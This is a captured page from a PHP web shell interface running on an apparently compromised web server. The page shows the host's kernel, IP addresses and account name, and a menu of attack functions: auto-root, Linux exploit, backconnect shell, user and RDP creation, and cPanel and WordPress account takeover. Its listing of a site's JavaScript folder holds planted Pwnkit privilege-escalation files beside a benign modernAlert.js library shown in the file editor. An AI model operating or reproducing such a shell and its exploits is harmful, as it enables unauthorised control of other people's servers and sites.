Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.116.81.161
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
designprovider /
th /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
anijs-helper-scrollreveal.js
1016
B
-rw-r--r--
anijs.js
8.46
KB
-rw-r--r--
bootstrap.min.js
34.77
KB
-rw-r--r--
html5shiv.js
2.32
KB
-rw-r--r--
jquery-2.1.1.js
241.55
KB
-rw-r--r--
jquery.gridrotator.js
18.95
KB
-rw-r--r--
jquery.inview.min.js
1.39
KB
-rw-r--r--
jquery.isotope.min.js
15.66
KB
-rw-r--r--
jquery.js
90.92
KB
-rw-r--r--
jquery.min.js
84.68
KB
-rw-r--r--
jquery.prettyPhoto.js
21.54
KB
-rw-r--r--
loader.js
1.74
KB
-rw-r--r--
main.js
5.22
KB
-rw-r--r--
main1.js
6.13
KB
-rw-r--r--
modernAlert.js
11.5
KB
-rw-r--r--
modernAlert.min.js
5.32
KB
-rw-r--r--
modernizr.custom.26633.js
9.23
KB
-rw-r--r--
mousescroll.js
9.29
KB
-rw-r--r--
owl.carousel.min.js
22.49
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
respond.min.js
3.94
KB
-rw-r--r--
script.js
1.74
KB
-rw-r--r--
scrollreveal.js
32.74
KB
-rw-r--r--
slider.js
44.47
KB
-rw-r--r--
smoothscroll.js
6.44
KB
-rw-r--r--
video.js
50.63
KB
-rw-r--r--
wow.min.js
4.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modernAlert.js
/** * modernAlert - JavaScript snippet to override native js functions alert, confirm, prompt. * Native functions are replaced with customizable pop-ups. * * @author Sumit Singh * @version 1.1 **/ (function (){ this.modernAlert = function () { var modernAlert = { /** * Init the script, assign custom functions to window object * @returns {object} modelAlert */ init : function () { if (typeof arguments[0] === 'object') { for (var key in arguments[0]) { if (this.args.hasOwnProperty(key)) { this.args[key] = arguments[0][key]; } } } this.head.insertBefore(this.getStyleTag(), this.head.firstChild); window.alert = this.alert; window.confirm = this.confirm; window.prompt = this.prompt; return this; }, /** * Defualt arguments */ args : { backgroundColor: '#fff', color: '#555', borderColor: '#ccc', titleBackgroundColor: '#e8a033', titleColor: '#fff', defaultButtonsText: {ok : 'Ok', cancel : 'Cancel'}, overlayColor: 'rgba(0, 0, 0, 0.5)', overlayBlur: 2 }, /** * Get head tag */ head : document.head || document.getElementsByTagName('head')[0], /** * get style tag with CSS * @returns {object} style element */ getStyleTag : function (){ var styleTag = document.createElement('style'); styleTag.type = 'text/css'; styleTag.appendChild(document.createTextNode(this.getCSS())); return styleTag; }, /** * build CSS based on user arguments * @returns {string} CSS for mordenAlert */ getCSS : function () { var css = ".modernAlertWrapper {background: "+this.args.backgroundColor+"; color: "+this.args.color+"; border: 1px solid "+this.args.borderColor+"; box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); left: 50%; min-height: 120px; min-width: 240px; position: fixed; text-align: center; top: 50%; z-index: 999;font-size:14px;padding-bottom: 15px;}"; css += ".modernAlertWrapper h4 {background: "+this.args.titleBackgroundColor+"; color: "+this.args.titleColor+"; margin: 0; padding: 5px; font-size:16px;}"; css += ".modernAlertWrapper p {margin: 0;padding: 5px 10px;}"; css += ".maInputWrapper input {width: 100%; max-width: 300px;}"; css += ".modernAlertOverlay {background: "+this.args.overlayColor+"; cursor: wait;height: 100%;left: 0;position: fixed;top: 0;width: 100%;z-index: 998;}"; if (this.args.overlayBlur !== false) { css += "body.maActive > *:not(script):not(link):not(.modernAlertOverlay):not(.modernAlertWrapper) {-webkit-filter: blur("+this.args.overlayBlur+"px); filter: blur("+this.args.overlayBlur+"px);}"; } return css; }, /** * extract arguments and assign default value for keys msg, title, callback, extra_var, buttons * @param {array} arguments * @param {string} type of calling function * @returns {Object} args */ extract_vars : function (fun_args, type) { type = typeof type !== 'undefined' ? type : 'confirm'; var args = new Object(); args.msg = fun_args[0] || ''; args.title = fun_args[1] || 'Message'; if (type === 'alert') { args.extra_var = typeof fun_args[2] !== 'undefined' ? fun_args[2] : 'You can use this var by passing value as fourth parameter in confirm function.'; args.buttons = typeof fun_args[3] === 'object' ? fun_args[3] : this.args.defaultButtonsText; } else { args.callback = typeof fun_args[2] === 'function' ? fun_args[2] : function () { console.warn('Callback function is missing!'); }; args.extra_var = typeof fun_args[3] !== 'undefined' ? fun_args[3] : 'You can use this var by passing value as fourth parameter in confirm and prompt function.'; args.buttons = typeof fun_args[4] === 'object' ? fun_args[4] : this.args.defaultButtonsText; } return args; }, /** * Generate and return a unique ID * @returns {String} unique ID */ generateId : function () { var time = new Date().getTime(); return 'modernAlert' + time; }, /** * Custom alert function * @returns {NULL} */ alert : function () { var args, html, id; id = modernAlert.generateId(); args = modernAlert.extract_vars(arguments, 'alert'); html = '<h4>'+args.title+'</h4><p>'+args.msg+'</p><input class="button btn btn-default" onclick="modernAlert.close(\''+id+'\')" type="button" value="'+ args.buttons.ok +'" />'; window.modernAlert.addRemoveClass('maActive'); modernAlert.createInsertHtml('div', 'modernAlertOverlay', '', false, true); modernAlert.createInsertHtml('div', 'modernAlertWrapper', html, id); }, /** * Custom confirm function * @returns {NULL} */ confirm : function () { var args, html, wrapper, inputYes, inputNo, id; id = modernAlert.generateId(); args = modernAlert.extract_vars(arguments); html = '<h4>'+args.title+'</h4><p>'+args.msg+'</p>\n\ <input class="button btn btn-default maYes" type="button" value="'+ args.buttons.ok +'" />\n\ <input class="button btn btn-default maNo" type="button" value="'+ args.buttons.cancel +'" />'; window.modernAlert.addRemoveClass('maActive'); modernAlert.createInsertHtml('div', 'modernAlertOverlay', '', false, true); wrapper = modernAlert.createInsertHtml('div', 'modernAlertWrapper', html, id); inputYes = wrapper.getElementsByClassName('maYes'); inputNo = wrapper.getElementsByClassName('maNo'); inputYes[0].onclick = function () { window.modernAlert.close(id); args.callback(true, args.extra_var); }; inputNo[0].onclick = function () { window.modernAlert.close(id); args.callback(false, args.extra_var); }; }, /** * Custom prompt function * @returns {NULL} */ prompt : function () { var args, html, wrapper, inputYes, inputNo, inputStr, id; id = modernAlert.generateId(); args = modernAlert.extract_vars(arguments); html = '<h4>'+args.title+'</h4><p>'+args.msg+'</p>\n\ <p class="maInputWrapper"><input class="maInput" type="text" value="" /></p>\n\ <input class="button btn btn-default maYes" type="button" value="'+ args.buttons.ok +'" />\n\ <input class="button btn btn-default maNo" type="button" value="'+ args.buttons.cancel +'" />'; window.modernAlert.addRemoveClass('maActive'); modernAlert.createInsertHtml('div', 'modernAlertOverlay', '', false, true); wrapper = modernAlert.createInsertHtml('div', 'modernAlertWrapper', html, id); inputYes = wrapper.getElementsByClassName('maYes'); inputNo = wrapper.getElementsByClassName('maNo'); inputStr = wrapper.getElementsByClassName('maInput'); inputYes[0].onclick = function () { window.modernAlert.close(id); args.callback(inputStr[0].value, args.extra_var); }; inputNo[0].onclick = function () { window.modernAlert.close(id); args.callback(false, args.extra_var); }; }, /** * Create an element and append to body * @param {string} elementType tagname * @param {string} cssClass class name for element * @param {string} html inner html * @param {string} id ID of popup * @param {boolean} is_overlay Flag to include an overlay * @returns {object} created element */ createInsertHtml : function (elementType, cssClass, html, id, is_overlay) { is_overlay = ( typeof is_overlay !== 'undefined' ) ? is_overlay : false; id = ( typeof id !== 'undefined' ) ? id : false; var wrapper = document.createElement(elementType); wrapper.className = cssClass; if (id !== false) { wrapper.id = id; } wrapper.innerHTML = html; document.body.appendChild(wrapper); if (is_overlay === false) { wrapper.style.cssText = "margin-left: -"+(wrapper.offsetWidth / 2)+"px; margin-top: -"+(wrapper.offsetHeight / 2)+"px;"; } return wrapper; } }; /** * Init and return the modelAlert object */ return modernAlert.init(arguments[0]); }; /* Public functions */ /** * Close popup * @param {string} ID of popup to close * @returns {NULL} */ this.modernAlert.close = function (elemId) { var overlay = document.getElementsByClassName('modernAlertOverlay'); var elem = false; window.modernAlert.addRemoveClass('maActive', true); if (elemId && (elem = document.getElementById(elemId))) { elem.remove(); } if (typeof overlay[0] === 'object') { overlay[0].remove(); } }, /** * Add or remove CSS class from given element * @param {string} className Name of the CSS class to add or remove. * @param {boolean} remove Flag weather to remove or add default is true. * @param {object} tag Element object default is body * @returns {NULL} */ this.modernAlert.addRemoveClass = function (className, remove, tag) { if (typeof className === 'undefined') { return false; } remove = typeof remove !== 'undefined' ? remove : false; tag = typeof tag !== 'undefined' ? tag : (document.body || document.getElementsByTagName('body')[0]); if (remove === true) { tag.classList.remove(className); } else { tag.classList.add(className); } } })();
Close